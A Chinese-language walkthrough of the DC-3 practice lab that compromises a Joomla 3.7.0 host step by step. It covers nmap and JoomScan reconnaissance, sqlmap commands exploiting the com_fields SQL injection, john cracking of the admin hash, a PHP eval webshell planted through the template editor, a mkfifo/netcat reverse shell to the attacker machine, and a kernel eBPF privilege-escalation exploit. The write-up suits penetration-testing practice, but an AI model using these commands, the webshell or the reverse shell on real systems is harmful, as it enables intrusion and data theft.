DC-3是另一个专门建立的易受攻击的实验室,旨在获得渗透测试领域的经验。与之前的DC版本一样,这个版本是为初学者设计的,尽管这一次只有一个标志,一个入口点,根本没有线索。必须具备Linux技能并熟悉Linux命令行,还必须具有使用基本渗透测试工具的经验。
目标是确定目标靶场
使用ifconfig来确认网段
知道网段后使用nmap -sP XXX.XXX.XXX.XXX/24
Nmap仅进行ping扫描 (主机发现),然后打印出对扫描做出响应的那些 主机,没有进一步的测试 (如端口扫描或者操作系统探测),这比列表扫描更积极,常 常用于和列表扫描相同的目的,它可以得到些许目标网络的信息而不被特别注意到,它可以很方便地得出网络上有多少机器正在运行或者监视服务器是否正常运行,常常有人称它为地毯式ping,它比 ping 广播地址更可靠,因为许多主机对广播请求不响应。
-sP 选项在默认情况下, 发送一个 ICMP 回声请求和一个 TCP 报文到 80 端口。如果非特权用户执行,就发送一个 SYN 报文 (用 connect()系统调用)到目标机的 80 端口,当特权用户扫描局域网上的目标机时,会发送 ARP 请求(-PR),除非使用了–send-ip 选项。
-sP 选项可以和除-P0)之外的任何发现探测类型-P* 选项结合使用更灵活,一旦使用了任何探测类型和端口选项,默认的探测(ACK 和回应请求)就被覆盖了,当防守严密的防火墙位于运行 Nmap 的源主机和目标网络之间时, 推荐使用那些高级选项。 否则,可能会被防火墙捕获并丢弃探测包或者响应包,一些主机就不能被探测到。
靶场IP为 XXX.XXX.XXX.XXX
返回后得到靶机ip为:192.168.184.134
本机IP是192.168.184.132
探端口及服务
nmap -A -p- -v 192.168.184.133
-A 综合性扫v 冗余模式。强烈推荐使用这个选项,它会给出扫描过程中的详细信息
发现开放了80端口,存在web服务,Apache/2.4.18,CMS为Joomla
利用JoomScan进行扫描后台地址并获取
由于我们前面采用nmap进行扫描时我们已经发现了中间件为joomla,我们可以采用joomscan进行扫描,如果我们不知道是joomla,我们可以采用目录扫描或者nikto等扫描工具进行扫描。发现更多的信息。
JoomScan是一个开源项目,其主要目的是实现漏洞检测的自动化,以增强Joomla CMS开发的安全性。该工具基于Perl开发,能够轻松无缝地对各种Joomla项目进行漏洞扫描,其轻量化和模块化的架构能够保证扫描过程中不会留下过多的痕迹。它不仅能够检测已知漏洞,而且还能够检测到很多错误配置漏洞和管理权限漏洞等等。除此之外,OWASP JoomScan使用起来非常简单,不仅提供了非常友好的用户界面,而且还能够以HTML或文本格式导出扫描报告。 目前,OWASP JoomScan已集成到了Kali Linux发行版之中
自动化
版本枚举
漏洞枚举(基于版本)
组件枚举
组件漏洞枚举
防火墙检测
文本或HTML格式导出数据
查找常见日志文件
查找常见备份文件
使用joomScan扫描
joomscan --url http://192.168.184.134 提示没有joomscan 选择y安装
扫描返回出了Joomla cms版本为3.7.0
得到了网站后台地址 http://192.168.184.134/administrator/
利用nikto扫描获取后台地址
Nikto是一个开源的WEB扫描评估软件,可以对Web服务器进行多项安全测试,能在230多种服务器上扫描出 2600多种有潜在危险的文件、CGI及其他问题。Nikto可以扫描指定主机的WEB类型、主机名、指定目录、特定CGI漏洞、返回主机允许的 http模式等。
前面已经知道了CMS是joomla,并且知道了后台地址
nikto --url http:192.168.184.134/
知道了CMS为joomla,版本为3.7.0 使用searchsploit检查到有对应的漏洞
Searchsploit是一款基于命令行的搜索工具,专为Exploit-DB设计。Exploit-DB是一个由Offensive Security赞助的开源漏洞利用程序数据库,包含了大量的漏洞信息和渗透脚本。Searchsploit允许用户通过简单的命令,在Exploit-DB中快速搜索和定位所需的漏洞信息。
searchsploit joomla 3.7.0
我们发现有一个SQL注入,还存在一个XSS
使用searchsploit -m 42033.txt 来查看漏洞的提示信息
看到了POC,为了验证一下,把localhost修改为靶机IP就可以了http://192.168.184.134/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml%27
提示数据库语句错误说明进行了拼接,存在SQL注入
使用sqlmap跑出数据库
sqlmap -u "http://192.168.184.134/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] –batch
成功把数据库跑出来了
获取当前数据库的名字
sqlmap -u "http://192.168.184.134/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] --current-db –batch
可以看出当前数据库名字为joomladb
sqlmap -u "http://192.168.184.134/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 -p list[fullordering] -D "joomladb" --tables --batch
观察表名,关注user表的字段名称
获取joomladb的users表的字段名
sqlmap -u "http://192.168.184.134/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 -p list[fullordering] -D "joomladb" --tables -T "#__users" --columns
第一个选项,直接回车使用默认的“Y”
第二个选项,使用“y”,不要使用默认的,不然会出错
第三个选项1、2任选,这里我选择的是1
第四个选项使用10线程
最终跑出来6个字段
获取目标字段username和password
sqlmap -u "http://192.168.184.134/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 -p list[fullordering] -D "joomladb" --tables -T "#__users" --columns -C "username,password" --dump --batch
返回得到一个用户名和加密过的密码
利用john爆破密码
基于字典的密码破解工具。用于在已知密文的情况下尝试破解出明文的破解密码软件,支持目前大多数的加密算法,如 DES 、 MD4 、 MD5 等。 John 支持字典破解方式和暴力破解方式。它支持多种不同类型的系统架构,包括 Unix 、 Linux 、 Windows 、 DOS 模式、 BeOS 和 OpenVMS ,主要目的是破解不够牢固的 Unix/Linux 系统密码
创建一个1.txt,把加密的密码字段写入
破解出admin的密码是snoopy
利用获取到的账号密码进行登录
http://192.168.184.134/administrator/
admin/snoopy
登陆成功发现一个上传点,点击Beez3 Details and Files进入,点击newfiles
发现可以上传文件,考虑上传木马,也可以创建文件进行编辑要上传木马先要找到当前文件所在的目录:http://192.168.184.134/templates/beez3/html/
回到刚才的页面点击new file
在html下创建一个php文件,名字叫做shell
创建成功之后,跳到编辑页面,然后我们输入php一句话,点击左上角绿色的save进行保存
<?php
echo ("密码是a");
@eval($_REQUEST [a]);
?>
再次访问http://192.168.184.134/templates/beez3/html/
可以看到多出来一个shell.php文件,访问下
访问webshell得到我们设置的会先内容,文件上传成功
http://192.168.184.134/templates/beez3/html/shell.php
打开蚁剑管理webshell右键添加数据
右键进入虚拟终端执行whaomi查询权限,是www-data权限
kali监听
nc -lvvp 1234
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.184.132 1234 >/tmp/f
(注:这里的IP为本机IP)
创建交互式shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
使用辅助脚本发现提权漏洞
我们直接在蚁剑中上传
上传成功
ls -l linux-exploit-suggester.sh
发现没有执行权限加个执行文件
chmod +x linux-exploit-suggester.sh
执行脚本
./linux-exploit-suggester.sh
发现很多可利用漏洞
使用下面地址下载
解压文件
unzip 39772.zip
cd 39772
ls
tar -xvf exploit.tar
cd ebpf_mapfd_doubleput_exploit
./compile.sh
./doubleput
执行完之后,提权成功
获得root权限
发现the-flag.txt
ls
cat the-flag.txt